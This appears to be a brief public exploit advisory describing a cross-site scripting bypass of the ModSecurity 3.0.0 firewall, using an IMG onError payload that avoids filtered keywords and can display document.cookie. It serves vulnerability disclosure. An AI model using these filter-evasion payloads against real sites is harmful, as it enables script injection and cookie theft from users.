# Exploit Title: ModSecurity 3.0.0 - Cross-Site Scripting # Date: 2018-07-02 # Vendor Homepage: https://www.modsecurity.org # Software: ModSecurity # Category: Web Application Firewall # Exploit Author: Adipta Basu # Tested on: Mac OS High Sierra # CVE: N/A # Description: ModSecurity 3.0.0 has XSS via an onError attribute of an IMG element # Details: # After doing source code analysis, I found that if <img src=x onError=prompt(111)> # is passed as a parameter, a pop-up is obtained. This is because the filter flags # terms like "script","alert",etc. Moreover it also flags if there is a string placed # inside the first bracket. That is why I had to use 111. However document.cookie when # passed works fine.   Reproduction Steps:      - Use <img src=x onError=prompt(3)> or <img src=x onError=prompt(document.cookie)>